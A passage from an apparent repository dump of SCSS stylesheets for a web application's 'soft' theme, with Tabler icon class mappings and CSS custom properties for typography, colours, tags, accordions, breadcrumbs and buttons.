$ti-icon-wind;\n}\n\n.#{$ti-prefix}-wind-electricity:before {\n  content: $ti-icon-wind-electricity;\n}\n\n.#{$ti-prefix}-wind-off:before {\n  content: $ti-icon-wind-off;\n}\n\n.#{$ti-prefix}-windmill:before {\n  content: $ti-icon-windmill;\n}\n\n.#{$ti-prefix}-windmill-filled:before {\n  content: $ti-icon-windmill-filled;\n}\n\n.#{$ti-prefix}-windmill-off:before {\n  content: $ti-icon-windmill-off;\n}\n\n.#{$ti-prefix}-window:before {\n  content: $ti-icon-window;\n}\n\n.#{$ti-prefix}-window-maximize:before {\n  content: $ti-icon-window-maximize;\n}\n\n.#{$ti-prefix}-window-minimize:before {\n  content: $ti-icon-window-minimize;\n}\n\n.#{$ti-prefix}-window-off:before {\n  content: $ti-icon-window-off;\n}\n\n.#{$ti-prefix}-windsock:before {\n  content: $ti-icon-windsock;\n}\n\n.#{$ti-prefix}-wiper:before {\n  content: $ti-icon-wiper;\n}\n\n.#{$ti-prefix}-wiper-wash:before {\n  content: $ti-icon-wiper-wash;\n}\n\n.#{$ti-prefix}-woman:before {\n  content: $ti-icon-woman;\n}\n\n.#{$ti-prefix}-woman-filled:before {\n  content: $ti-icon-woman-filled;\n}\n\n.#{$ti-prefix}-wood:before {\n  content: $ti-icon-wood;\n}\n\n.#{$ti-prefix}-world:before {\n  content: $ti-icon-world;\n}\n\n.#{$ti-prefix}-world-bolt:before {\n  content: $ti-icon-world-bolt;\n}\n\n.#{$ti-prefix}-world-cancel:before {\n  content: $ti-icon-world-cancel;\n}\n\n.#{$ti-prefix}-world-check:before {\n  content: $ti-icon-world-check;\n}\n\n.#{$ti-prefix}-world-code:before {\n  content: $ti-icon-world-code;\n}\n\n.#{$ti-prefix}-world-cog:before {\n  content: $ti-icon-world-cog;\n}\n\n.#{$ti-prefix}-world-dollar:before {\n  content: $ti-icon-world-dollar;\n}\n\n.#{$ti-prefix}-world-down:before {\n  content: $ti-icon-world-down;\n}\n\n.#{$ti-prefix}-world-download:before {\n  content: $ti-icon-world-download;\n}\n\n.#{$ti-prefix}-world-exclamation:before {\n  content: $ti-icon-world-exclamation;\n}\n\n.#{$ti-prefix}-world-heart:before {\n  content: $ti-icon-world-heart;\n}\n\n.#{$ti-prefix}-world-latitude:before {\n  content: $ti-icon-world-latitude;\n}\n\n.#{$ti-prefix}-world-longitude:before {\n  content: $ti-icon-world-longitude;\n}\n\n.#{$ti-prefix}-world-minus:before {\n  content: $ti-icon-world-minus;\n}\n\n.#{$ti-prefix}-world-off:before {\n  content: $ti-icon-world-off;\n}\n\n.#{$ti-prefix}-world-pause:before {\n  content: $ti-icon-world-pause;\n}\n\n.#{$ti-prefix}-world-pin:before {\n  content: $ti-icon-world-pin;\n}\n\n.#{$ti-prefix}-world-plus:before {\n  content: $ti-icon-world-plus;\n}\n\n.#{$ti-prefix}-world-question:before {\n  content: $ti-icon-world-question;\n}\n\n.#{$ti-prefix}-world-search:before {\n  content: $ti-icon-world-search;\n}\n\n.#{$ti-prefix}-world-share:before {\n  content: $ti-icon-world-share;\n}\n\n.#{$ti-prefix}-world-star:before {\n  content: $ti-icon-world-star;\n}\n\n.#{$ti-prefix}-world-up:before {\n  content: $ti-icon-world-up;\n}\n\n.#{$ti-prefix}-world-upload:before {\n  content: $ti-icon-world-upload;\n}\n\n.#{$ti-prefix}-world-www:before {\n  content: $ti-icon-world-www;\n}\n\n.#{$ti-prefix}-world-x:before {\n  content: $ti-icon-world-x;\n}\n\n.#{$ti-prefix}-wrecking-ball:before {\n  content: $ti-icon-wrecking-ball;\n}\n\n.#{$ti-prefix}-writing:before {\n  content: $ti-icon-writing;\n}\n\n.#{$ti-prefix}-writing-off:before {\n  content: $ti-icon-writing-off;\n}\n\n.#{$ti-prefix}-writing-sign:before {\n  content: $ti-icon-writing-sign;\n}\n\n.#{$ti-prefix}-writing-sign-off:before {\n  content: $ti-icon-writing-sign-off;\n}\n\n.#{$ti-prefix}-x:before {\n  content: $ti-icon-x;\n}\n\n.#{$ti-prefix}-xbox-a:before {\n  content: $ti-icon-xbox-a;\n}\n\n.#{$ti-prefix}-xbox-a-filled:before {\n  content: $ti-icon-xbox-a-filled;\n}\n\n.#{$ti-prefix}-xbox-b:before {\n  content: $ti-icon-xbox-b;\n}\n\n.#{$ti-prefix}-xbox-b-filled:before {\n  content: $ti-icon-xbox-b-filled;\n}\n\n.#{$ti-prefix}-xbox-x:before {\n  content: $ti-icon-xbox-x;\n}\n\n.#{$ti-prefix}-xbox-x-filled:before {\n  content: $ti-icon-xbox-x-filled;\n}\n\n.#{$ti-prefix}-xbox-y:before {\n  content: $ti-icon-xbox-y;\n}\n\n.#{$ti-prefix}-xbox-y-filled:before {\n  content: $ti-icon-xbox-y-filled;\n}\n\n.#{$ti-prefix}-xd:before {\n  content: $ti-icon-xd;\n}\n\n.#{$ti-prefix}-xxx:before {\n  content: $ti-icon-xxx;\n}\n\n.#{$ti-prefix}-yin-yang:before {\n  content: $ti-icon-yin-yang;\n}\n\n.#{$ti-prefix}-yin-yang-filled:before {\n  content: $ti-icon-yin-yang-filled;\n}\n\n.#{$ti-prefix}-yoga:before {\n  content: $ti-icon-yoga;\n}\n\n.#{$ti-prefix}-zeppelin:before {\n  content: $ti-icon-zeppelin;\n}\n\n.#{$ti-prefix}-zeppelin-filled:before {\n  content: $ti-icon-zeppelin-filled;\n}\n\n.#{$ti-prefix}-zeppelin-off:before {\n  content: $ti-icon-zeppelin-off;\n}\n\n.#{$ti-prefix}-zip:before {\n  content: $ti-icon-zip;\n}\n\n.#{$ti-prefix}-zodiac-aquarius:before {\n  content: $ti-icon-zodiac-aquarius;\n}\n\n.#{$ti-prefix}-zodiac-aries:before {\n  content: $ti-icon-zodiac-aries;\n}\n\n.#{$ti-prefix}-zodiac-cancer:before {\n  content: $ti-icon-zodiac-cancer;\n}\n\n.#{$ti-prefix}-zodiac-capricorn:before {\n  content: $ti-icon-zodiac-capricorn;\n}\n\n.#{$ti-prefix}-zodiac-gemini:before {\n  content: $ti-icon-zodiac-gemini;\n}\n\n.#{$ti-prefix}-zodiac-leo:before {\n  content: $ti-icon-zodiac-leo;\n}\n\n.#{$ti-prefix}-zodiac-libra:before {\n  content: $ti-icon-zodiac-libra;\n}\n\n.#{$ti-prefix}-zodiac-pisces:before {\n  content: $ti-icon-zodiac-pisces;\n}\n\n.#{$ti-prefix}-zodiac-sagittarius:before {\n  content: $ti-icon-zodiac-sagittarius;\n}\n\n.#{$ti-prefix}-zodiac-scorpio:before {\n  content: $ti-icon-zodiac-scorpio;\n}\n\n.#{$ti-prefix}-zodiac-taurus:before {\n  content: $ti-icon-zodiac-taurus;\n}\n\n.#{$ti-prefix}-zodiac-virgo:before {\n  content: $ti-icon-zodiac-virgo;\n}\n\n.#{$ti-prefix}-zoom:before {\n  content: $ti-icon-zoom;\n}\n\n.#{$ti-prefix}-zoom-cancel:before {\n  content: $ti-icon-zoom-cancel;\n}\n\n.#{$ti-prefix}-zoom-cancel-filled:before {\n  content: $ti-icon-zoom-cancel-filled;\n}\n\n.#{$ti-prefix}-zoom-check:before {\n  content: $ti-icon-zoom-check;\n}\n\n.#{$ti-prefix}-zoom-check-filled:before {\n  content: $ti-icon-zoom-check-filled;\n}\n\n.#{$ti-prefix}-zoom-code:before {\n  content: $ti-icon-zoom-code;\n}\n\n.#{$ti-prefix}-zoom-code-filled:before {\n  content: $ti-icon-zoom-code-filled;\n}\n\n.#{$ti-prefix}-zoom-exclamation:before {\n  content: $ti-icon-zoom-exclamation;\n}\n\n.#{$ti-prefix}-zoom-exclamation-filled:before {\n  content: $ti-icon-zoom-exclamation-filled;\n}\n\n.#{$ti-prefix}-zoom-filled:before {\n  content: $ti-icon-zoom-filled;\n}\n\n.#{$ti-prefix}-zoom-in:before {\n  content: $ti-icon-zoom-in;\n}\n\n.#{$ti-prefix}-zoom-in-area:before {\n  content: $ti-icon-zoom-in-area;\n}\n\n.#{$ti-prefix}-zoom-in-area-filled:before {\n  content: $ti-icon-zoom-in-area-filled;\n}\n\n.#{$ti-prefix}-zoom-in-filled:before {\n  content: $ti-icon-zoom-in-filled;\n}\n\n.#{$ti-prefix}-zoom-money:before {\n  content: $ti-icon-zoom-money;\n}\n\n.#{$ti-prefix}-zoom-money-filled:before {\n  content: $ti-icon-zoom-money-filled;\n}\n\n.#{$ti-prefix}-zoom-out:before {\n  content: $ti-icon-zoom-out;\n}\n\n.#{$ti-prefix}-zoom-out-area:before {\n  content: $ti-icon-zoom-out-area;\n}\n\n.#{$ti-prefix}-zoom-out-area-filled:before {\n  content: $ti-icon-zoom-out-area-filled;\n}\n\n.#{$ti-prefix}-zoom-out-filled:before {\n  content: $ti-icon-zoom-out-filled;\n}\n\n.#{$ti-prefix}-zoom-pan:before {\n  content: $ti-icon-zoom-pan;\n}\n\n.#{$ti-prefix}-zoom-pan-filled:before {\n  content: $ti-icon-zoom-pan-filled;\n}\n\n.#{$ti-prefix}-zoom-question:before {\n  content: $ti-icon-zoom-question;\n}\n\n.#{$ti-prefix}-zoom-question-filled:before {\n  content: $ti-icon-zoom-question-filled;\n}\n\n.#{$ti-prefix}-zoom-replace:before {\n  content: $ti-icon-zoom-replace;\n}\n\n.#{$ti-prefix}-zoom-reset:before {\n  content: $ti-icon-zoom-reset;\n}\n\n.#{$ti-prefix}-zoom-scan:before {\n  content: $ti-icon-zoom-scan;\n}\n\n.#{$ti-prefix}-zoom-scan-filled:before {\n  content: $ti-icon-zoom-scan-filled;\n}\n\n.#{$ti-prefix}-zzz:before {\n  content: $ti-icon-zzz;\n}\n\n.#{$ti-prefix}-zzz-off:before {\n  content: $ti-icon-zzz-off;\n}\n\n// Aliases\n.#{$ti-prefix}-123:before {\n  content: $ti-icon-number-123;\n}\n\n.#{$ti-prefix}-360:before {\n  content: $ti-icon-view-360-arrow;\n}\n\n.#{$ti-prefix}-code-asterix:before {\n  content: $ti-icon-code-asterisk;\n}\n\n.#{$ti-prefix}-discount-2:before {\n  content: $ti-icon-rosette-discount;\n}\n\n.#{$ti-prefix}-discount-2-off:before {\n  content: $ti-icon-rosette-discount-off;\n}\n\n.#{$ti-prefix}-discount-check:before {\n  content: $ti-icon-rosette-discount-check;\n}\n\n.#{$ti-prefix}-hand-rock:before {\n  content: $ti-icon-hand-love-you;\n}\n\n.#{$ti-prefix}-sort-deacending-small-big:before {\n  content: $ti-icon-sort-descending-small-big;\n}\n\n.#{$ti-prefix}-shi-jumping:before {\n  content: $ti-icon-ski-jumping;\n}\n\n.#{$ti-prefix}-box-seam:before {\n  content: $ti-icon-package;\n}\n\n.#{$ti-prefix}-kering:before {\n  content: $ti-icon-kerning;\n}\n\n.#{$ti-prefix}-2fa:before {\n  content: $ti-icon-auth-2fa;\n}\n\n.#{$ti-prefix}-3d-cube-sphere:before {\n  content: $ti-icon-cube-3d-sphere;\n}\n\n.#{$ti-prefix}-3d-cube-sphere-off:before {\n  content: $ti-icon-cube-3d-sphere-off;\n}\n\n.#{$ti-prefix}-3d-rotate:before {\n  content: $ti-icon-rotate-3d;\n}\n\n.#{$ti-prefix}-12-hours:before {\n  content: $ti-icon-hours-12;\n}\n\n.#{$ti-prefix}-24-hours:before {\n  content: $ti-icon-hours-24;\n}\n\n.#{$ti-prefix}-360-view:before {\n  content: $ti-icon-view-360-number;\n}\n\n.#{$ti-prefix}-circle-0:before {\n  content: $ti-icon-circle-number-0;\n}\n\n.#{$ti-prefix}-circle-1:before {\n  content: $ti-icon-circle-number-1;\n}\n\n.#{$ti-prefix}-circle-2:before {\n  content: $ti-icon-circle-number-2;\n}\n\n.#{$ti-prefix}-circle-3:before {\n  content: $ti-icon-circle-number-3;\n}\n\n.#{$ti-prefix}-circle-4:before {\n  content: $ti-icon-circle-number-4;\n}\n\n.#{$ti-prefix}-circle-5:before {\n  content: $ti-icon-circle-number-5;\n}\n\n.#{$ti-prefix}-circle-6:before {\n  content: $ti-icon-circle-number-6;\n}\n\n.#{$ti-prefix}-circle-7:before {\n  content: $ti-icon-circle-number-7;\n}\n\n.#{$ti-prefix}-circle-8:before {\n  content: $ti-icon-circle-number-8;\n}\n\n.#{$ti-prefix}-circle-9:before {\n  content: $ti-icon-circle-number-9;\n}\n\n.#{$ti-prefix}-hexagon-0:before {\n  content: $ti-icon-hexagon-number-0;\n}\n\n.#{$ti-prefix}-hexagon-1:before {\n  content: $ti-icon-hexagon-number-1;\n}\n\n.#{$ti-prefix}-hexagon-2:before {\n  content: $ti-icon-hexagon-number-2;\n}\n\n.#{$ti-prefix}-hexagon-3:before {\n  content: $ti-icon-hexagon-number-3;\n}\n\n.#{$ti-prefix}-hexagon-4:before {\n  content: $ti-icon-hexagon-number-4;\n}\n\n.#{$ti-prefix}-hexagon-5:before {\n  content: $ti-icon-hexagon-number-5;\n}\n\n.#{$ti-prefix}-hexagon-6:before {\n  content: $ti-icon-hexagon-number-6;\n}\n\n.#{$ti-prefix}-hexagon-7:before {\n  content: $ti-icon-hexagon-number-7;\n}\n\n.#{$ti-prefix}-hexagon-8:before {\n  content: $ti-icon-hexagon-number-8;\n}\n\n.#{$ti-prefix}-hexagon-9:before {\n  content: $ti-icon-hexagon-number-9;\n}\n\n.#{$ti-prefix}-square-0:before {\n  content: $ti-icon-square-number-0;\n}\n\n.#{$ti-prefix}-square-1:before {\n  content: $ti-icon-square-number-1;\n}\n\n.#{$ti-prefix}-square-2:before {\n  content: $ti-icon-square-number-2;\n}\n\n.#{$ti-prefix}-square-3:before {\n  content: $ti-icon-square-number-3;\n}\n\n.#{$ti-prefix}-square-4:before {\n  content: $ti-icon-square-number-4;\n}\n\n.#{$ti-prefix}-square-5:before {\n  content: $ti-icon-square-number-5;\n}\n\n.#{$ti-prefix}-square-6:before {\n  content: $ti-icon-square-number-6;\n}\n\n.#{$ti-prefix}-square-7:before {\n  content: $ti-icon-square-number-7;\n}\n\n.#{$ti-prefix}-square-8:before {\n  content: $ti-icon-square-number-8;\n}\n\n.#{$ti-prefix}-square-9:before {\n  content: $ti-icon-square-number-9;\n}\n\n.#{$ti-prefix}-discount-check-filled:before {\n  content: $ti-icon-rosette-discount-check-filled;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fundamentals/body-text-set.scss",
    "content": "/* Body text set */\n\n:root {\n  /* Available variables to use within all text types */\n  --text-set-font-family: \"Open Sans\", sans-serif;\n  --text-set-font-size: 1rem;\n  --text-set-line-height: 1.75;\n\n  /* Body text large */\n  --body-text-large-font-size: 1.25rem;\n  --body-text-large-font-weight: var(--text-set-font-weight);\n  --body-text-large-line-height: var(--text-set-line-height);\n  --body-text-large-color: var(--text-set-text-color);\n  --body-text-large-text-align: var(--text-set-text-align);\n\n  /* Strong */\n  --body-text-large-strong-font-weight: var(--text-set-strong-font-weight);\n\n  /* Body text normal */\n  --body-text-normal-font-size: var(--text-set-font-size);\n  --body-text-normal-font-weight: var(--text-set-font-weight);\n  --body-text-normal-line-height: var(--text-set-line-height);\n  --body-text-normal-color: var(--text-set-text-color);\n  --body-text-normal-text-align: var(--text-set-text-align);\n\n  /* Strong */\n  --body-text-normal-strong-font-weight: var(--text-set-strong-font-weight);\n\n  /* Body text small */\n  --body-text-small-font-size: 0.875rem;\n  --body-text-small-font-weight: var(--text-set-font-weight);\n  --body-text-small-line-height: var(--text-set-line-height);\n  --body-text-small-color: var(--colors-grey-700);\n  --body-text-small-text-align: var(--text-set-text-align);\n\n  /* Strong */\n  --body-text-small-strong-font-weight: var(--text-set-strong-font-weight);\n}\n\n.body-text-large {\n  font-size: var(--body-text-large-font-size);\n  font-weight: var(--body-text-large-font-weight);\n  line-height: var(--body-text-large-line-height);\n  color: var(--body-text-large-color);\n  text-align: var(--body-text-large-text-align);\n}\n\n.body-text-normal {\n  font-size: var(--body-text-normal-font-size);\n  font-weight: var(--body-text-normal-font-weight);\n  line-height: var(--body-text-normal-line-height);\n  color: var(--body-text-normal-color);\n  text-align: var(--body-text-normal-text-align);\n}\n\n.body-text-small {\n  font-size: var(--body-text-small-font-size);\n  font-weight: var(--body-text-small-font-weight);\n  line-height: var(--body-text-small-line-height);\n  color: var(--body-text-small-color);\n  text-align: var(--body-text-small-text-align);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fundamentals/border-radii.scss",
    "content": "/* Theme border radius */\n\n:root {\n  --border-radius-s: 0.25rem;\n  --border-radius-m: 0.5rem;\n  --border-radius-l: 1rem;\n  --border-radius-xl: 1.5rem;\n  --border-radius-round: 50%;\n}\n\n.border-radius-s {\n  border-radius: var(--border-radius-s);\n}\n\n.border-radius-m {\n  border-radius: var(--border-radius-m);\n}\n\n.border-radius-l {\n  border-radius: var(--border-radius-l);\n}\n\n.border-radius-xl {\n  border-radius: var(--border-radius-xl);\n}\n\n.border-radius-round {\n  border-radius: var(--border-radius-round);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fundamentals/colors.scss",
    "content": "/* Colors */\n\n:root {\n  --colors-white: #ffffff;\n\n  /* Black */\n  --colors-black: #000000;\n  --colors-black-05: rgb(0 0 0 / 5%);\n  --colors-black-10: rgb(0 0 0 / 10%);\n  --colors-black-15: rgb(0 0 0 / 15%);\n\n  /* Grey */\n  --colors-grey-50: #f6f6f6;\n  --colors-grey-100: #ededed;\n  --colors-grey-150: #efefef;\n  --colors-grey-200: #d4d4d4;\n  --colors-grey-300: #bcbcbc;\n  --colors-grey-400: #a4a4a4;\n  --colors-grey-500: #888888;\n  --colors-grey-600: #6a6a6a;\n  --colors-grey-700: #585858;\n  --colors-grey-800: #4b4b4b;\n  --colors-grey-900: #3b3b3b;\n\n  /* Red */\n  --colors-red-50: #fff4f3;\n  --colors-red-100: #ffe9e7;\n  --colors-red-150: #ffc7c3;\n  --colors-red-200: #ffa49d;\n  --colors-red-300: #ff7d73;\n  --colors-red-400: #f95f53;\n  --colors-red-500: #f84638;\n  --colors-red-600: #c3372c;\n  --colors-red-700: #a22e25;\n  --colors-red-800: #8a271f;\n  --colors-red-900: #6e1f19;\n  --colors-red-1000: #531713;\n\n  /* Blue */\n  --colors-blue-50: #eef8fe;\n  --colors-blue-100: #ddf0fc;\n  --colors-blue-150: #c7e7fa;\n  --colors-blue-200: #abdbf8;\n  --colors-blue-300: #78c5f4;\n  --colors-blue-400: #40adef;\n  --colors-blue-500: #008de4;\n  --colors-blue-600: #006fb3;\n  --colors-blue-700: #005c94;\n  --colors-blue-800: #004e7e;\n  --colors-blue-900: #003e64;\n  --colors-blue-1000: #002033;\n\n  /* Yellow */\n  --colors-yellow-50: #fff7cf;\n  --colors-yellow-100: #ffef99;\n  --colors-yellow-150: #ffe661;\n  --colors-yellow-200: #f9d100;\n  --colors-yellow-300: #ddb900;\n  --colors-yellow-400: #c1a200;\n  --colors-yellow-500: #a08700;\n  --colors-yellow-600: #7d6900;\n  --colors-yellow-700: #685700;\n  --colors-yellow-800: #584a00;\n  --colors-yellow-900: #463b00;\n\n  /* Green */\n  --colors-green-50: #ebfaef;\n  --colors-green-100: #d5f5de;\n  --colors-green-150: #b0edc1;\n  --colors-green-200: #94e6ab;\n  --colors-green-300: #4ad571;\n  --colors-green-400: #20bd4c;\n  --colors-green-500: #1b9d3f;\n  --colors-green-600: #157b31;\n  --colors-green-700: #116629;\n  --colors-green-800: #0f5723;\n  --colors-green-900: #134421;\n  --colors-green-1000: #09200f;\n\n  /* Orange */\n  --colors-orange-50: #fff5ed;\n  --colors-orange-100: #ffead9;\n  --colors-orange-150: #ffdcc2;\n  --colors-orange-200: #ffcaa1;\n  --colors-orange-250: #ffb780;\n  --colors-orange-300: #ffa865;\n  --colors-orange-400: #ff8120;\n  --colors-orange-500: #d66a17;\n  --colors-orange-600: #a75312;\n  --colors-orange-700: #8b450f;\n  --colors-orange-800: #763b0d;\n  --colors-orange-900: #5e2f0a;\n  --colors-orange-1000: #2e1705;\n\n  /* Purple */\n  --colors-purrple-50: #f7f6fc;\n  --colors-purrple-100: #eeecf8;\n  --colors-purrple-200: #d6d1ef;\n  --colors-purrple-300: #bfb6e6;\n  --colors-purrple-400: #a89cdd;\n  --colors-purrple-500: #8c7cd2;\n  --colors-purrple-600: #6e5fae;\n  --colors-purrple-700: #5b4f90;\n  --colors-purrple-800: #4d437a;\n  --colors-purrple-900: #3d3560;\n  --colors-purrple-1000: #1f1b31;\n\n  /* Ochre */\n  --colors-ochre-50: #fff7e0;\n  --colors-ochre-100: #ffeaae;\n  --colors-ochre-150: #fedc7b;\n  --colors-ochre-200: #fecf48;\n  --colors-ochre-300: #ecb927;\n  --colors-ochre-400: #d4a00c;\n  --colors-ochre-500: #a87f05;\n  --colors-ochre-600: #916f08;\n  --colors-ochre-700: #614a05;\n  --colors-ochre-800: #584304;\n  --colors-ochre-900: #493803;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fundamentals/tag-colors.scss",
    "content": "/* Tag colors */\n@import \"tags-6-3\";\n\n:root {\n  --tag-color-light-grey-background-color: var(--colors-grey-100);\n  --tag-color-light-grey-text-color: var(--colors-grey-800);\n  --tag-color-light-grey-border-color: var(--colors-white);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fundamentals/tags-6-3.scss",
    "content": "/* tags-6-3 */\n\n:root {\n  /* Blue */\n  --tags-soft-blue-light-border-color: var(--colors-blue-300);\n  --tags-soft-blue-medium-border-color: var(--colors-blue-600);\n  --tags-soft-blue-dark-text-color: var(--colors-blue-700);\n\n  /* Green */\n  --tags-soft-green-light-border-color: var(--colors-green-300);\n\n  /* Yellow */\n  --tags-soft-yellow-light-background-color: var(--colors-ochre-50);\n  --tags-soft-yellow-light-text-color: var(--colors-ochre-500);\n  --tags-soft-yellow-light-border-color: var(--colors-ochre-300);\n  --tags-soft-yellow-medium-background-color: var(--colors-ochre-200);\n  --tags-soft-yellow-medium-text-color: var(--colors-ochre-600);\n  --tags-soft-yellow-medium-border-color: var(--colors-ochre-400);\n  --tags-soft-yellow-dark-background-color: var(--colors-ochre-300);\n  --tags-soft-yellow-dark-text-color: var(--colors-ochre-700);\n  --tags-soft-yellow-dark-border-color: var(--colors-ochre-600);\n\n  /* Orange */\n  --tags-soft-orange-light-text-color: var(--colors-orange-600);\n  --tags-soft-orange-light-border-color: var(--colors-orange-300);\n  --tags-soft-orange-dark-border-color: var(--colors-orange-600);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/accordion.scss",
    "content": "/* Accordion - Variables */\n\n:root {\n  --accordion-gap: 0;\n\n  /* Button */\n  --accordion-button-padding: 0.75rem 0;\n  --accordion-button-justify-content: flex-start;\n  --accordion-button-background-color: transparent;\n  --accordion-button-text-color: var(--colors-blue-600);\n\n  /* Button icon */\n\n  /* Side menu button before */\n  --accordion-button-icon-before-font-size: 1.25rem;\n  --accordion-button-icon-after-font-size: 1.25rem;\n\n  /* add content within \"\", this could be text or a unicode for an icon */\n\n  /* Choose before or after */\n  --accordion-button-icon-font-family: var(--icon-font-family);\n\n  /* content on the button when the menu is collapsed */\n  --accordion-button-icon-before-open-content: \"\\ea5f\";\n  --accordion-button-icon-after-open-content: none;\n\n  /* content on the button when the menu is expanded */\n  --accordion-button-icon-before-close-content: \"\\ea62\";\n  --accordion-button-icon-after-close-content: none;\n  --accordion-button-icon-after-margin-left: auto;\n\n  /* Content */\n  --accordion-content-gap: 1.5rem;\n  --accordion-content-border-width: 0 0 1px 0;\n  --accordion-content-background-color: var(--colors-white);\n  --accordion-content-text-color: var(--application-base-text-color);\n  --accordion-content-padding: 1.5rem 2rem 2rem 2rem;\n}\n\n.accordion {\n  padding: 0;\n\n  > li {\n    padding: 0;\n\n    button {\n      border-width: 0 0 1px;\n      border-radius: 0;\n      border-color: var(--colors-grey-200);\n      max-width: 100%;\n      word-wrap: break-word;\n\n      &[aria-expanded=\"true\"] {\n        border-width: 0;\n\n        + div {\n          border-bottom-width: 2px;\n        }\n      }\n    }\n\n    &:first-child {\n      button {\n        border-top-width: 1px;\n      }\n    }\n  }\n\n  &.break-title {\n    > li {\n      button {\n        word-break: break-all;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/application-base.scss",
    "content": "/* Application base */\n\n:root {\n  /* Text styling */\n  --application-base-font-family: var(--text-set-font-family);\n  --application-base-font-size: var(--text-set-font-size);\n  --application-base-line-height: var(--text-set-line-height);\n  --application-base-gap: var(--spacing-grid-200);\n  --application-base-text-color: var(--text-color-dark);\n\n  /* Accent color */\n  --application-base-accent-color: var(--colors-purrple-100);\n  --application-base-accent-color-text-color: var(--text-color-dark);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/article-content-wrapper.scss",
    "content": "/* Article content wrapper - Variables */\n\n:root {\n  --article-content-wrapper-padding-top: var(--content-nested-padding-top);\n  --article-content-wrapper-padding-bottom: var(\n    --content-nested-padding-bottom\n  );\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/article.scss",
    "content": "/* Article content wrapper - Variables */\n\n:root {\n  --article-padding-top: var(--content-padding-top);\n  --article-padding-bottom: var(--content-padding-bottom);\n}\n\nmain article {\n  padding-left: 1rem;\n  padding-right: 1rem;\n  box-sizing: border-box;\n}\n\nbody > main > article {\n  @media screen and (min-width: $grid-m) {\n    padding-right: var(--page-whitespace-right-grid-m);\n    padding-left: var(--page-whitespace-left-grid-m);\n  }\n\n  @media screen and (min-width: $grid-l) {\n    padding-right: var(--page-whitespace-right-grid-l);\n    padding-left: var(--page-whitespace-left-grid-l);\n  }\n\n  @media screen and (min-width: $grid-xl) {\n    padding-right: var(--page-whitespace-right-grid-xl);\n    padding-left: var(--page-whitespace-left-grid-xl);\n  }\n\n  @media screen and (min-width: $grid-xxl) {\n    padding-right: var(--page-whitespace-right-grid-xxl);\n    padding-left: var(--page-whitespace-left-grid-xxl);\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/breadcrumb-bar.scss",
    "content": "/* Navigation - Variables */\n\n:root {\n  /* Breadcrumb bar nav */\n  --breadcrumb-bar-padding-right: 0;\n  --breadcrumb-bar-padding-left: 0;\n  --breadcrumb-bar-background-color: var(--colors-purrple-100);\n  --breadcrumb-bar-text-color: var(--text-color-dark);\n\n  /* Content wrapper */\n  --breadcrumb-bar-content-block-max-width: var(--header-navigation-max-width);\n  --breadcrumb-bar-content-block-icon: \"\\ea61\";\n\n  /* List */\n  --breadcrumb-bar-list-vertical-align: center;\n\n  /* Icon */\n  --breadcrumb-bar-icon-font-family: var(--icon-font-family);\n  --breadcrumb-bar-icon: \"\\ea61\";\n}\n\nbody > header nav.breadcrumb-bar ul li a {\n  border: 0;\n  display: inline-block;\n  overflow: hidden;\n  text-overflow: ellipsis;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/button-destructive.scss",
    "content": "/* Button destructive */\n\n:root {\n  --button-destructive-background-color: var(--color-alert-negative);\n  --button-destructive-text-color: white;\n  --button-destructive-hover-background-color: var(\n    --color-alert-negative-darker\n  );\n  --button-destructive-hover-text-color: white;\n\n  // --button-destructive-border-color: var(--colors-grey-200);\n  // --button-destructive-border-width: var(--button-ghost-border-width);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/button-ghost.scss",
    "content": "/* Button Ghost - Variables */\n\n:root {\n  /* Button */\n  --button-ghost-background-color: var(--colors-white);\n  --button-ghost-border-color: var(--colors-grey-200);\n  --button-ghost-text-color: var(--colors-blue-600);\n\n  /* Text */\n  --button-ghost-font-size: 1rem;\n  --button-ghost-font-weight: bold;\n  --button-ghost-line-height: 1;\n\n  /* States */\n\n  /* Hover */\n  --button-ghost-hover-background-color: var(--colors-white);\n  --button-ghost-hover-border-color: var(--colors-blue-600);\n  --button-ghost-hover-text-color: var(--colors-blue-700);\n\n  /* Active */\n  --button-ghost-active-background-color: transparent;\n  --button-ghost-active-border-color: var(--button-ghost-hover-border-color);\n  --button-ghost-active-text-color: var(--button-ghost-hover-text-color);\n\n  /* Focus */\n  --button-ghost-focus-background-color: transparent;\n  --button-ghost-focus-border-color: var(--button-ghost-hover-border-color);\n  --button-ghost-focus-text-color: var(--button-ghost-hover-text-color);\n}\n\nbutton,\na.button,\ninput[type=\"button\"],\ninput[type=\"submit\"],\ninput[type=\"reset\"] {\n  &.ghost {\n    --link-icon-text-color: var(--button-ghost-text-color);\n\n    &:hover {\n      --link-icon-text-color: var(--button-ghost-hover-text-color);\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/button-icon.scss",
    "content": "/* Icon Button - Variables */\n\n:root {\n  --button-icon-min-width: 2.75rem;\n  --button-icon-width: 2.75rem;\n  --button-icon-min-height: 2.75rem;\n  --button-icon-height: 2.75rem;\n  --button-icon-icon-font-size: 0.8rem;\n  --button-icon-icon-width: 0.75rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/button.scss",
    "content": "/* Button - Variables */\n\n:root {\n  /* Button */\n  --button-base-background-color: var(--branding-color-2-background-color);\n  --button-base-text-color: var(--branding-color-2-text-color);\n  --button-base-border-radius: var(--border-radius-l);\n  --button-base-font-family: var(--application-base-font-family);\n  --button-base-padding-top: var(--spacing-grid-150);\n  --button-base-padding-right: var(--spacing-grid-200);\n  --button-base-padding-bottom: var(--spacing-grid-150);\n  --button-base-padding-left: var(--spacing-grid-200);\n  --button-base-min-width: 2.75rem;\n  --button-base-border-color: var(--branding-color-2-background-color);\n  --button-base-border-style: solid;\n  --button-base-border-width: 1px;\n\n  /* Ghost button */\n  --button-ghost-border-width: var(--button-base-border-width);\n\n  /* Text */\n  --button-base-font-size: 1rem;\n  --button-base-font-weight: bold;\n  --button-base-line-height: 1.25;\n\n  /* States */\n\n  /* Hover */\n  